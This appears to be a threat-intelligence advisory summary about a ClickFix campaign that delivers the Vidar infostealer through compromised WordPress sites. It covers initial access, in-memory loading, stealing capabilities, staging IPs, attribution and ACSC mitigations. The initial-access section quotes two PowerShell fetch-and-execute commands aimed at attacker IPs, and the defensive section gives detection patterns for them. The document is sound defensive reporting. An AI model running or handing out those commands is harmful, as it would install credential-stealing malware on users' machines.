Overview -------- On 7 May 2026, the Australian Signals Directorate's Australian Cyber Security Centre (ASD's ACSC) released an advisory warning that Australian organizations and critical-infrastructure entities are being actively targeted by a ClickFix campaign that distributes the Vidar information stealer through compromised, otherwise-legitimate WordPress sites. The advisory was released in coordination with public reporting from Rapid7 Labs (10 March 2026) tying the Australia-targeted activity to a much larger global stealer operation that has compromised 250+ WordPress sites across at least 12 countries (Australia, Brazil, Canada, Czechia, Germany, India, Israel, Singapore, Slovakia, Switzerland, the United Kingdom, and the United States).

The operation is significant because it weaponises three trends that have collectively eroded traditional perimeter defences: (1) ClickFix social engineering that converts the victim themselves into the executor of malicious code, bypassing browser sandboxes and email gateways entirely; (2) the use of trusted, legitimate WordPress sites as the malware-distribution surface, defeating URL-reputation and proxy block-lists; and (3) Vidar Stealer's evolved memory-resident execution model that minimises forensic artefacts and resolves C2 only at runtime via dead-drop URLs.

Initial Access — ClickFix Lure on Compromised WordPress -------------------------------------------------------- Threat actors compromise WordPress sites primarily through vulnerable or out-of-date themes and plugins, and inject obfuscated JavaScript that conditionally renders a full-page overlay impersonating Cloudflare's interstitial verification or a 'Verify you are human' CAPTCHA. The overlay includes step-by-step instructions that walk the visitor through pressing Win+R (Run dialog) or opening a terminal, pasting a copied command, and pressing Enter. The clipboard payload is silently populated by the malicious JavaScript via the document.execCommand('copy') / Clipboard API path.

Observed initial-stage commands include: - powershell -c iex(irm 91.92.240[.]219 -UseBasicParsing) - powershell.exe -Command "try { $finalPayload = iwr -Uri \"178.16.53[.]70\" -UseBasicParsing; Invoke-Expression $finalPayload.Content } catch { }"

Both use Invoke-RestMethod / Invoke-WebRequest plus Invoke-Expression — the canonical 'iex(irm …)' fetch-and-execute pattern that the ACSC explicitly calls out as a high-value detection target.

Execution and In-Memory Loader ------------------------------ The second-stage script downloads two raw shellcode blobs named 'cptch.bin' and 'cptchbuild.bin'. A reflective .NET / PowerShell loader allocates RWX memory using VirtualAlloc, copies the shellcode in, and executes it via CreateThread. The shellcode then performs process-injection into a newly spawned svchost.exe using a classic CreateRemoteThread / NtMapViewOfSection technique, and the original dropper deletes itself from disk (matching the long-standing Vidar self-delete behaviour). From this point the stealer runs entirely from memory inside a host process that defenders typically allow-list, severely reducing on-disk forensic artefacts.

Vidar Stealer Capabilities (Evolved 2025-2026 variant) ------------------------------------------------------ Vidar is a malware-as-a-service infostealer family active since late 2018. The variant observed in this campaign: - Self-deletes the initial executable after launching - Operates from system memory to reduce forensic artefacts - Steals saved browser passwords, cookies, autofill data, and stored credit-card data - Targets desktop cryptocurrency wallet files and browser-extension wallets (MetaMask, Phantom, Trust Wallet) - Collects host fingerprint data: hostname, username, OS version, hardware, installed software, screenshot - Resolves C2 addresses by parsing dead-drop posts on Telegram bot profiles and Steam profile bios (a technique Vidar pioneered) — defeats static C2 blocklists - Ex-filtrates collected data over HTTPS to the resolved C2

Rapid7 also observed two related stealer payloads being delivered through the same ClickFix infrastructure: 'Impure Stealer' (a .NET stealer) and 'VodkaStealer' (a C++ stealer), suggesting the same operator either rotates payloads or sells access to multiple stealer families.

C2 / Infrastructure ------------------- Direct-fetch staging IPs identified to date: 91.92.240.219, 178.16.53.70, 94.154.35.115. Some staging infrastructure has been observed live since July/August 2025, indicating the operator established the back-end before the high-volume distribution wave that began in December 2025. BeaconBeagle queries on these IPs returned no Cobalt Strike / Sliver / Mythic beacon matches as of 2026-05-07, consistent with the operator using bespoke shellcode rather than a commodity C2 framework.

Victimology ----------- The ACSC advisory is explicit: Australian organizations and infrastructure entities are an active targeting set. Rapid7's broader telemetry shows 12 countries impacted with no obvious sectoral skew — consistent with a financially motivated, opportunistic stealer operator monetising stolen credentials and wallet seeds rather than a state-aligned actor with a defined targeting list.

Attribution ----------- No named APT or eCrime cluster has been publicly attributed. Vidar is a MaaS family used by many unrelated affiliates; the 'operator' here is the affiliate running this distribution channel rather than the Vidar developer. Confidence in actor attribution is LOW; confidence in the technique-and-payload chain is HIGH.

Defensive Posture ----------------- The ACSC mitigations focus on the four highest-leverage controls: (1) restrict / disable PowerShell for non-administrative users, (2) implement application allow-listing (AppLocker / WDAC), (3) keep WordPress themes and plugins patched, and (4) remove unused themes and plugins from the public attack surface. Detection engineering should prioritise: PowerShell command-line containing 'iex' AND ('irm' OR 'iwr'), PowerShell child of explorer.exe with no parent shell, RWX VirtualAlloc + CreateThread followed by CreateRemoteThread into svchost.exe, and outbound DNS / HTTP requests to t.me, steamcommunity.com profile pages from non-browser processes.